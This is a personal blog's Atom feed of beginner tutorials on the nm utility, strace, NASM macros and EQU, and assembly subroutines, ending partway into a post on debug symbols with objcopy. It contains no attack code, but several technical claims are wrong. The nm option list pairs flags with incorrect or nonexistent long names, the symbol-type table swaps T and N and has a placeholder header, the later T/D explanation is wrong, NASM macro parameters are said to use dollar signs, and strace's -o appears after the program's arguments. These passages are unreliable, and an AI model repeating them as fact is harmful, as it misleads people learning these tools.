<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title>Personal Blog</title>
    <link href="https://blog.vishalrashmika.com/atom.xml" rel="self" type="application/atom+xml"/>
    <link href="https://blog.vishalrashmika.com/"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2024-07-18T00:00:00+00:00</updated>
    <id>https://blog.vishalrashmika.com/atom.xml</id>
    <entry xml:lang="en">
        <title>Inspecting Debug Symbols with the nm Utility</title>
        <published>2024-07-18T00:00:00+00:00</published>
        <updated>2024-07-18T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/inspecting-symbols-using-nm/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/inspecting-symbols-using-nm/</id>
        <content type="html">&lt;p&gt;When debugging a program, it’s often necessary to understand the layout of the program’s memory and the relationships between different code segments. The &lt;code&gt;nm&lt;&#x2F;code&gt; utility is a powerful tool that allows you to inspect the debug symbols of an executable or object file, giving you valuable insights into the program’s internal workings.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-nm&quot;&gt;What is nm?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;code&gt;nm&lt;&#x2F;code&gt; is a command-line utility that stands for “Name Manager”. It’s part of the GNU Binutils package and is commonly used to display information about the symbols in an object file or executable. The &lt;code&gt;nm&lt;&#x2F;code&gt; utility can be used to inspect the symbol table of a file, which contains information about the names, addresses, and types of variables, functions, and labels defined in the file.&lt;&#x2F;p&gt;
&lt;p&gt;Basic Syntax&lt;&#x2F;p&gt;
&lt;p&gt;The basic syntax for using nm is as follows:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nm [options] filename
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Where file is the name of the executable or object file you want to inspect. You can specify multiple files by separating them with spaces.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;common-options&quot;&gt;Common Options&lt;&#x2F;h3&gt;
&lt;p&gt;Here are some common options you can use with nm:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-a&lt;&#x2F;code&gt; or &lt;code&gt;--demangle&lt;&#x2F;code&gt; : Demangles C++ symbol names.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-C&lt;&#x2F;code&gt; or &lt;code&gt;--check-summaries&lt;&#x2F;code&gt; : Displays summary information for each section.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-D&lt;&#x2F;code&gt; or &lt;code&gt;--dynamic-relocs&lt;&#x2F;code&gt; : Displays dynamic relocations.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-l&lt;&#x2F;code&gt; or &lt;code&gt;--line-numbers&lt;&#x2F;code&gt; : Displays line numbers for each symbol.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-n&lt;&#x2F;code&gt; or &lt;code&gt;--numeric-sort&lt;&#x2F;code&gt; : Sorts symbols numerically by value.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;&#x2F;code&gt; or &lt;code&gt;--public-only&lt;&#x2F;code&gt; : Displays only public symbols.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-r&lt;&#x2F;code&gt; or &lt;code&gt;--reverse-sort&lt;&#x2F;code&gt; : Sorts symbols in reverse order.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-S&lt;&#x2F;code&gt; or &lt;code&gt;--symbolic&lt;&#x2F;code&gt; : Displays symbolic information only.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-t&lt;&#x2F;code&gt; or &lt;code&gt;--target=&amp;lt;target&amp;gt;&lt;&#x2F;code&gt; : Specifies the target format (e.g. elf32, elf64, etc.).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;symbol-types&quot;&gt;Symbol types&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;Symbol Type&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;awdadawdawdawd&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;A&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Absolute Symbol&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;B&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;In the Uninitialized Data Section (BSS)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;D&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;In the Initialized Data Section&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;T&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Debugging Symbol&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;N&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;In the Text Section&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;U&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;Symbol Undefined right now&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;Lower case symbols are Local symbols&lt;&#x2F;li&gt;
&lt;li&gt;Upper case sybols is External symbols&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;For more information see the &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;sourceware.org&#x2F;binutils&#x2F;docs&#x2F;binutils&#x2F;nm.html&quot;&gt;manual of NM&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;example-usage&quot;&gt;Example Usage&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s use the nm utility to inspect a simple C program called hello.c. First, we’ll compile the program using gcc:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gcc -ggdb hello.c -o hello_debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, let’s use nm to display a list of all symbols in the object file:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nm .&amp;#x2F;hello_debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This will produce a list of symbols in the format:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;Cvu4911.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Here, we see a mix of global variables, functions, and labels. The T, D, and U prefixes indicate the type of symbol&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;T&lt;&#x2F;code&gt;: Global variable (Initialized)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;D&lt;&#x2F;code&gt;: Global variable (Uninitialized)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;U&lt;&#x2F;code&gt;: External reference&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;nm-n-display-in-sorted-order&quot;&gt;nm -n … (Display in Sorted Order)&lt;&#x2F;h4&gt;
&lt;blockquote&gt;
&lt;p&gt;It will sort using the virtual Addresses&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nm -n hello_debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;vrnloWX.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;nm-g-list-external-symbols&quot;&gt;nm -g (List External Symbols)&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nm -g hello_debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;6iRcrD8.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h4 id=&quot;nm-s-display-size&quot;&gt;nm -S (display Size)&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nm -S hello_debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;EO4kLk0.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;demo&quot;&gt;Demo&lt;&#x2F;h3&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;t9ISUBmxidpgMhfOyrJJFucRb.js&quot; id=&quot;asciicast-t9ISUBmxidpgMhfOyrJJFucRb&quot; async=&quot;true&quot;&gt;&lt;&#x2F;script&gt;
&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h1&gt;
&lt;p&gt;The nm utility is a powerful tool for inspecting debug symbols in executables and object files. By using various options and flags, you can customize the output to suit your needs. Whether you’re debugging a complex program or simply trying to understand how a library works, nm is an essential tool to have in your toolkit.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Syscall trace with strace</title>
        <published>2024-07-18T00:00:00+00:00</published>
        <updated>2024-07-18T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/syscall-trace-with-strace/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/syscall-trace-with-strace/</id>
        <content type="html">&lt;p&gt;One of the most effective tools for understanding system behavior is the &lt;code&gt;strace&lt;&#x2F;code&gt; command, which allows you to trace the system calls made by a process. In this blog post, we’ll explore the basics of system call tracing with &lt;code&gt;strace&lt;&#x2F;code&gt; and demonstrate its capabilities.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-system-call-tracing&quot;&gt;What is System Call Tracing?&lt;&#x2F;h2&gt;
&lt;p&gt;System call tracing is a process of monitoring and analyzing the system calls made by a process. System calls are the interfaces between user-space applications and the kernel, which provide a way for applications to interact with the operating system. By tracing system calls, you can gain insights into how a process interacts with the kernel, identify performance bottlenecks, and troubleshoot issues.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;installing-strace&quot;&gt;Installing Strace&lt;&#x2F;h2&gt;
&lt;p&gt;Strace is available on most Linux distributions and can be installed using the package manager. On Ubuntu-based systems, you can install it using the following command:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo apt-get install strace
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;On RPM-based systems like CentOS, you can install it using:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo yum install strace
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;basic-usage&quot;&gt;Basic Usage:&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;Gx2KgdOAE0GiSU97YXfUFV4Ts.js&quot; id=&quot;asciicast-Gx2KgdOAE0GiSU97YXfUFV4Ts&quot; async=&quot;true&quot;&gt;&lt;&#x2F;script&gt;
&lt;h2 id=&quot;common-options-and-filters&quot;&gt;Common Options and Filters&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-r&lt;&#x2F;code&gt;: Relative timestamping&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-t&lt;&#x2F;code&gt;: Timestamp the actions&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-o&lt;&#x2F;code&gt;: Specify an output file or pipe for tracing output&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-p&lt;&#x2F;code&gt;: Trace a specific process by PID&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-f&lt;&#x2F;code&gt;: Follow forks and execs (default is not to follow)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-F&lt;&#x2F;code&gt;: Follow forks and execs recursively&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-v&lt;&#x2F;code&gt;: Increase verbosity (print more information)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-t&lt;&#x2F;code&gt;: Print timestamps for each system call&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;using-r-relative-timestamping&quot;&gt;using -r (Relative timestamping)&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -r .&amp;#x2F;addsub_debug 2 4 -o strace_output
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;using-t-timestamp-the-actions&quot;&gt;using -t (Timestamp the actions)&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -t .&amp;#x2F;addsub_debug 2 4 -o strace_output
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;using-o-creating-an-output-file-with-the-result&quot;&gt;using -o (Creating an output file with the result)&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace .&amp;#x2F;addsub_debug 2 4 -o strace_output

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;filtering&quot;&gt;Filtering&lt;&#x2F;h2&gt;
&lt;p&gt;filtering the output to a specific syscall&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -e write .&amp;#x2F;addsub_debug 2 4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;in the above command I have filtered &lt;code&gt;write&lt;&#x2F;code&gt; syscalls&lt;&#x2F;p&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;Ov90XpTkCo5SUkih6gQJPfpJt.js&quot; id=&quot;asciicast-Ov90XpTkCo5SUkih6gQJPfpJt&quot; async=&quot;true&quot;&gt;&lt;&#x2F;script&gt;
&lt;h2 id=&quot;attaching-to-a-running-process&quot;&gt;Attaching to a running process&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -p &amp;lt;process_id&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;20n67d8kDcfgjbeiLfSOTR6kg.js&quot; id=&quot;asciicast-20n67d8kDcfgjbeiLfSOTR6kg&quot; async=&quot;true&quot;&gt;&lt;&#x2F;script&gt;
&lt;h2 id=&quot;statistics-on-syscalls&quot;&gt;Statistics on syscalls&lt;&#x2F;h2&gt;
&lt;p&gt;This allows to see the statistics of the syscalls&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;strace -c addsub 2 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;asciinema.org&#x2F;a&#x2F;NO8Sr0aPCGHAWoVZ23YRYd9w8.js&quot; id=&quot;asciicast-NO8Sr0aPCGHAWoVZ23YRYd9w8&quot; async=&quot;true&quot;&gt;&lt;&#x2F;script&gt;
&lt;h2 id=&quot;use-cases-for-system-call-tracing&quot;&gt;Use Cases for System Call Tracing&lt;&#x2F;h2&gt;
&lt;p&gt;System call tracing is useful in various scenarios:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Troubleshooting&lt;&#x2F;code&gt;: Identify issues related to system calls, such as socket errors or file I&#x2F;O problems.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Performance analysis&lt;&#x2F;code&gt;: Understand where bottlenecks occur in your application’s interaction with the kernel.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Security auditing&lt;&#x2F;code&gt;: Monitor suspicious system calls made by malicious processes or detect potential security vulnerabilities.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Debugging&lt;&#x2F;code&gt;: Identify issues related to library or application behavior by tracing their interactions with the kernel.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;&#x2F;h2&gt;
&lt;p&gt;Strace is a powerful tool for understanding system behavior and troubleshooting issues related to system calls. By tracing system calls, you can gain valuable insights into how your applications interact with the kernel and identify potential problems early on. With its flexibility and customization options, strace is an essential tool in any Linux administrator’s toolkit.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;additional-resources&quot;&gt;Additional Resources&lt;&#x2F;h2&gt;
&lt;p&gt;For more information on strace, refer to its man page or online documentation:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;man strace&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;man strace
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;strace.io&#x2F;&quot;&gt;Strace documentation&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;I hope this blog post has provided you with a solid introduction to system call tracing with strace.&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Macros And Defining Values With EQU In Assembly</title>
        <published>2024-07-09T00:00:00+00:00</published>
        <updated>2024-07-09T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/macros-and-defining-values-with-equ-in-nasm/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/macros-and-defining-values-with-equ-in-nasm/</id>
        <content type="html">&lt;h2 id=&quot;macros&quot;&gt;Macros&lt;&#x2F;h2&gt;
&lt;p&gt;A macro is a single instruction that expands into a predefined set of instructions to perform a particular task.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;why-use-macros&quot;&gt;Why Use Macros?&lt;&#x2F;h3&gt;
&lt;p&gt;Imagine writing the same sequence of instructions for different memory locations or registers. Macros eliminate this redundancy, making your code cleaner and easier to maintain. Here are some key advantages of macros:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Reduced Code Size: By using a single macro for repeated code blocks, you shrink your assembly file size.&lt;&#x2F;li&gt;
&lt;li&gt;Improved Readability: Macros enhance code readability by encapsulating complex operations under meaningful names.&lt;&#x2F;li&gt;
&lt;li&gt;Error Reduction: Defining a macro ensures consistency and reduces the risk of typos in repeated code sections.&lt;&#x2F;li&gt;
&lt;li&gt;Flexibility: Macros allow for parameterized instructions, adapting the code based on arguments passed during invocation. &lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;defining-macros&quot;&gt;Defining Macros&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;1-single-line-macros&quot;&gt;1. Single Line Macros&lt;&#x2F;h4&gt;
&lt;p&gt;Defined using the &lt;code&gt;%define&lt;&#x2F;code&gt; directive, these macros expand to a single instruction or expression when used.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;assembly&quot; class=&quot;language-assembly &quot;&gt;&lt;code class=&quot;language-assembly&quot; data-lang=&quot;assembly&quot;&gt;%define SQUARE(x)  ((x) * (x))
mov eax, SQUARE(5)  ; Expands to mov eax, 25
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;2-multi-line-macros&quot;&gt;2. Multi-Line Macros&lt;&#x2F;h4&gt;
&lt;p&gt;Defined with &lt;code&gt;%macro&lt;&#x2F;code&gt; and &lt;code&gt;%endmacro&lt;&#x2F;code&gt; directives, these macros encompass a block of instructions that execute when called.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;assembly&quot; class=&quot;language-assembly &quot;&gt;&lt;code class=&quot;language-assembly&quot; data-lang=&quot;assembly&quot;&gt;%macro exit 0
	mov rax, SYS_EXIT
	mov rdi, 0
	syscall
%endmacro
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;structure&quot;&gt;structure:&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt;%macro &amp;lt;name&amp;gt; &amp;lt;argc&amp;gt;
    ...
    &amp;lt;macro body&amp;gt;
    ...
%endmacro
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;macro-parameters&quot;&gt;Macro Parameters:&lt;&#x2F;h5&gt;
&lt;blockquote&gt;
&lt;p&gt;Both types of macros can accept parameters, allowing you to customize the code during invocation. Parameters are represented by dollar signs &lt;code&gt;($)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;defining-values-with-equ&quot;&gt;Defining Values With EQU&lt;&#x2F;h2&gt;
&lt;p&gt;The &lt;code&gt;EQU&lt;&#x2F;code&gt; directive essentially assigns a symbolic name (label) to a constant value. This value can be a number, a string, or even an expression. Unlike data directives like DB (define byte) or DW (define word), &lt;code&gt;EQU&lt;&#x2F;code&gt; doesn’t reserve memory space. Instead, it acts as a placeholder,&lt;&#x2F;p&gt;
&lt;h5 id=&quot;structure-1&quot;&gt;Structure&lt;&#x2F;h5&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt; equ &amp;lt;value&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h5 id=&quot;demo&quot;&gt;Demo:&lt;&#x2F;h5&gt;
&lt;pre data-lang=&quot;assembly&quot; class=&quot;language-assembly &quot;&gt;&lt;code class=&quot;language-assembly&quot; data-lang=&quot;assembly&quot;&gt;SYS_READ equ 0
SYS_WRITE equ 1
SYS_EXIT equ 60
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;simple-program-using-macros-and-equ&quot;&gt;Simple program using macros and EQU&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;assembly&quot; class=&quot;language-assembly &quot;&gt;&lt;code class=&quot;language-assembly&quot; data-lang=&quot;assembly&quot;&gt;STDIN equ 0
STDOUT equ 1
STDERR equ 2

SYS_READ equ 0
SYS_WRITE equ 1
SYS_EXIT equ 60

section .data
	digit db 0,10

section .text
	global _start

%macro exit 0
	mov rax, SYS_EXIT
	mov rdi, 0
	syscall
%endmacro


%macro printdigit 1
	mov rax, %1
	call _printraxdigit
%endmacro

_start:
	printdigit 49
	printdigit 50
	exit

_printraxdigit:
	;mov rax, 50
	mov [digit], al
	mov rax, SYS_WRITE
	mov rdi, STDOUT
	mov rsi, digit
	mov rdx, 2
	syscall
	ret

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Subroutines in Assembly</title>
        <published>2024-07-09T00:00:00+00:00</published>
        <updated>2024-07-09T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/subroutines/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/subroutines/</id>
        <content type="html">&lt;p&gt;x86 assembly unlocks the raw power of your processor. But complex programs need a way to break down tasks into manageable chunks. That’s where subroutines come in, also known as procedures or functions in other high level languages. They introduce modularity, making your code cleaner, reusable, and easier to maintain.&lt;&#x2F;p&gt;
&lt;p&gt;In this post, we’ll dive into the world of subroutines in NASM for 64-bit architectures.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-subroutines&quot;&gt;Why Subroutines?&lt;&#x2F;h2&gt;
&lt;p&gt;Imagine writing the same block of code ten times. Yuck! Subroutines let you define a task once and call it whenever needed. This keeps your code concise and eliminates redundancy. They also promote better organization, making complex programs easier to understand and navigate. Debugging becomes a breeze, as you can focus on isolated sections of code.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;building-a-subroutine&quot;&gt;Building a Subroutine&lt;&#x2F;h2&gt;
&lt;p&gt;Let’s write a subroutine that prints a message to the console. Here’s a basic structure:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;assembly&quot; class=&quot;language-assembly &quot;&gt;&lt;code class=&quot;language-assembly&quot; data-lang=&quot;assembly&quot;&gt;section .data
	message db &amp;quot;GoodBye!&amp;quot;,10

print_salutation:
	mov rax,1
	mov rdi,1
	mov rsi, message
	mov rdx, 9
	syscall ;calling the system call for printing
	ret ;return from the subroutine
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;calling-the-subroutine&quot;&gt;Calling the Subroutine&lt;&#x2F;h2&gt;
&lt;p&gt;Now, let’s call our print_message subroutine from our main program:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;assembly&quot; class=&quot;language-assembly &quot;&gt;&lt;code class=&quot;language-assembly&quot; data-lang=&quot;assembly&quot;&gt;; ... 
call print_salutation ; Calling the subroutine
; ... (more main program code)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The call instruction jumps to the subroutine’s starting address. When the subroutine finishes (using ret), control returns to the instruction after the call.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;full-program&quot;&gt;Full Program&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;assembly&quot; class=&quot;language-assembly &quot;&gt;&lt;code class=&quot;language-assembly&quot; data-lang=&quot;assembly&quot;&gt;section .data
	text db &amp;quot;Hello, World!&amp;quot;,10
	message db &amp;quot;GoodBye!&amp;quot;,10

section .text
	global _start

_start:
	mov rax, 1
	mov rdi, 1
	mov rsi, text
	mov rdx, 14
	syscall
	
	call print_salutation
	jmp print_exit

print_salutation:
	mov rax,1
	mov rdi,1
	mov rsi, message
	mov rdx, 9
	syscall
	ret

print_exit:	
	mov rax, 60
	mov rdi, 0
	syscall

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Remember: This is a simplified overview.  For detailed instruction explanations and advanced topics, refer to the NASM documentation and online resources. Happy hacking!&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Adding Debug Symbols to a Binary with objcopy and GDB</title>
        <published>2024-07-08T00:00:00+00:00</published>
        <updated>2024-07-08T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/adding-debug-symbols/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/adding-debug-symbols/</id>
        <content type="html">&lt;p&gt;In the previous blog post I discussed about removing symbol files from binaries. In this blog post I will discuss about how to add&#x2F;attach a extracted symbol file to a stripped binary. &lt;&#x2F;p&gt;
&lt;p&gt;There are two methods that we can use:
1. Add it to the binary itself using &lt;code&gt;objcopy&lt;&#x2F;code&gt;
2. Load the symbol file within &lt;code&gt;GDB&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;why-do-we-need-symbol-files&quot;&gt;Why do we need symbol files ?&lt;&#x2F;h2&gt;
